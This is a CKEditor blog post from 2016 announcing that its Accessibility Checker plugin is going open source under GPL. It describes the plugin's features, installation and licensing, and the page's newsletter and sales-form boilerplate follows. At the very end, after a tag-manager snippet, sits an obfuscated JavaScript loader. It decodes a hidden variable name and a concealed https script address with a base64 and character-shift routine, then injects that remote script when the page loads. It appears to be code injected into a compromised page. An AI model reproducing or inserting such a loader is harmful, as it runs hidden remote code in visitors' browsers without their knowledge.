Report: 2024 State of Collaborative Editing

Get insights on the trends and future of collaboration in RTEs Download now

Read now

Accessibility Checker Goes Open Source

It's Global Accessibility Awareness Day today! To celebrate it in a big way, we would like to announce that as of today, Accessibility Checker for CKEditor will be available for everyone for free, licensed under an Open Source GPL license. If you care about accessibility, want to learn more about how important it is, and get to know our new product, read on!

The Story

Accessibility support has always been a priority issue at CKSource. CKEditor complies with most important industry standards, recommendations and checklists plus it includes a number of features that make it easy to use with assistive technologies.

Last year we decided to give our dedication to web accessibility a big boost and entered the market with Accessibility Checker - an innovative tool that enables you to check your content for accessibility issues and fix them before you go live.

Thanks to a succesful cooperation with the Government of Netherlands and Quail, and enthusiastic feedback from our customers - corporations, education institutions, government bodies - we feel that the product is fully functional and fulfills its primary purpose, which is making web content created in CKEditor fully accessible.

Bearing all that in mind, we are happy to let you know that CKSource Accessibility Checker is going Open Source on a GPL license as of today!

This is no accident that we decide to share this news today (May 19th, 2016) which marks the Global Accessibility Awareness Day! We are glad that we can contribute to this initiative in a way, which gives you a tool to inspect your content for accessibility issues and correct them on the go.

The Features

Accessibility Checker is an innovative, award winning solution that lets you inspect the accessibility level of content created in CKEditor and immediately solve any accessibility issues that are found - try our demo.

It is built upon three key elements:

  • User Interface optimized for quick problem solving.
  • Flexibility allowing you to use the accessibility checking engine of your choice.
  • Quick Fix feature letting you fix common problems fully automatically.

By default, it uses Quail as its accessibility tests library, but you can integrate any other similar library to achieve comparable results.

Accessibility Checker in CKEditor

When the Accessibility Checker plugin is enabled, the "Check Accessibility"  button (Accessibility Checker toolbar icon) is automatically added to the toolbar. Once clicked, it starts checking your content for accessibility issues as defined in the tests library. All issues become highlighted and the Accessibility Checker panel will let you not only navigate through them, but also fix them as you go. Thanks to the Quick Fix feature you can correct common problems directly in the panel, sometimes with just one click of a button!

A Quick Fix with automatic solution

The Resources

Check the following to learn more about Accessibility Checker:

You can read more on the topic of Web Accessibility in our blog posts:

The Installation

The recommended method to install Accessibility Checker is through CKBuilder. Add Accessibility Checker plugin to your editor build and the builder will automatically resolve any dependencies for you.

Please note that Quail, the default accessibility tests library, requires jQuery 1.x or later to run. You thus need to add jQuery 1.x to any site that is going to use Accessibility Checker.

The License

Accessibility Checker is available under a GPL or a commercial license. Please note that when you add Accessibility Checker to your CKEditor package, the GPL license becomes binding for the entire CKEditor package.

If you would like to support the development of Accessibility Checker and/or want to use it in a commercial environment, you are most welcome to purchase a commercial license - just contact us. Your help would be appreciated!

The Feedback!

We are extremely proud of our latest product and very happy to share it with the fantastic CKEditor community that has always supported us throughout the 13 years we are on the market. Accessibility is an important aspect of modern Web that we strongly believe in - we hope that you will be able to use Accessibility Checker to empower your users and open your content to a much wider audience. It has never been easier than now!

We will be most happy to hear from you - download Accessibility Checker, use it, share the news with the world and let us know what you think!

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Input email to subscribe to newsletter

HiddenGatedContent.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

Form content fields

Form submit

HiddenGatedContent.
Hidden unused field.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });